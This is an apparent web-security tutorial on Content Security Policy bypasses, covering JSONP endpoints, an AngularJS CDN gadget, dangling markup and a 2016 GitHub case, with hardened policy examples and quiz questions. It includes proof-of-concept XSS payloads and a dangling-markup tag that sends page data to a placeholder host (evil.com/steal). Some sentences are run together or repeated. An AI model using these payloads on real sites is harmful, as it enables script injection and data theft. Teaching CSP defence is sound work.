CSP Bypass Techniques
Content Security Policy is the strongest client-side defence — until it isnt. JSONP endpoints, CDN-script-based bypasses, nonce reuse, and dangling markup injection.
Content Security Policy is the strongest client-side defence — until it isnt. JSONP endpoints, CDN-script-based bypasses, nonce reuse, and dangling markup injection.
Content Security Policy is the strongest client-side defence against XSS — but it is not impenetrable. A misconfigured or overly permissive CSP creates loopholes that attackers have learned to exploit. JSONP endpoints, whitelisted CDN libraries, predictable nonces, and scriptless techniques all bypass CSP while the browser reports "Policy obeyed."
A Content Security Policy tells the browser which origins are trusted for script, style, and resource loading. A strict policy like script-src 'self' blocks all inline scripts and eval, neutralising most XSS attacks even if escaping fails. However, many real-world policies are not strict because they need to support analytics, A/B testing, social media widgets, and third-party libraries.
Each permissive addition to a CSP introduces a potential bypass:
ajax.googleapis.com hosts AngularJS, which can be used as a script gadget.'strict-dynamic' policy with a predictable nonce allows any script that carries the nonce to execute.base-uri unspecified allows an attacker to inject a <base> tag that hijacks relative script URLs.<!-- JSONP bypass: CSP trusts the origin, not the endpoint -->
<!-- CSP: script-src 'self' https://cdn.example.com -->
<script src="https://cdn.example.com/jsonp?callback=alert(1)//"></script>
<!-- AngularJS CDN gadget bypasses strict CSP -->
<!-- CSP: script-src 'self' https://ajax.googleapis.com -->
<script src="https://ajax.googleapis.com/ajax/libs/angular/1.8.3/angular.js">
</script>
<div ng-app ng-csp ng-click="$event.view.alert(1)">click me</div>
<!-- Dangling markup: no script tag needed -->
<!-- CSP: default-src 'self'; script-src 'none' -->
<img src="https://evil.com/steal?data=The lab below shows a page protected by a CSP header. Select a bypass technique and test it against the policy. The lab shows you whether the CSP blocked or allowed the payload and explains why.
<!-- CSP: script-src 'self' https://cdn.example.com -->
<script src="https://cdn.example.com/jsonp?callback=alert(1)//"></script>
<!-- Result: not tested -->In 2016, security researcher Patryk Karbownik reported a CSP bypass in GitHub that used a JSONP endpoint on a whitelisted subdomain. GitHub had deployed a CSP that included *.github.com inscript-src. A GitHub-owned subdomain hosted a JSONP-style endpoint that reflected user-controlled callback parameters. An attacker who found an XSS vulnerability on any GitHub page could inject a script tag pointing to this JSONP endpoint, and CSP would allow it because the origin was whitelisted.
The issue demonstrated that whitelisting an entire origin is dangerous when that origin hosts user-reflective endpoints. GitHub fixed the bypass by disabling the JSONP endpoint and moving to a stricter CSP with hash-based script-src directives. The case is one of the most cited examples of CSP misconfiguration in the OWASP CSP Cheat Sheet.
The safest CSP is one that never uses script-src with origin allowlists. Instead, use nonce-based or hash-based policies. A strict CSP like script-src 'nonce-random' 'strict-dynamic' prevents JSONP and CDN-gadget attacks because it does not trust any origin — only scripts carrying a valid nonce can execute. Additionally:
base-uri 'self' to prevent base-tag injection.object-src 'none' to block plugin-based bypasses.form-action 'self' to prevent form hijacking (dangling markup).report-uri or report-to to monitor violations.# VULNERABLE CSP — origin-based allowlist
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
# JSONP on cdn.example.com bypasses this policy
# SAFE CSP — nonce-based + strict-dynamic
Content-Security-Policy:
default-src 'self';
script-src 'nonce-r4nd0m' 'strict-dynamic';
base-uri 'self';
object-src 'none';
form-action 'self';
# Even if a JSONP endpoint exists, its response
# lacks the nonce and is blocked.'strict-dynamic' is the most robust defence against bypass techniques.1.How does a JSONP endpoint enable CSP bypass?
2.Why is scriptless XSS not prevented by a CSP with script-src: none?
3.What was the root cause of the 2016 GitHub CSP bypass?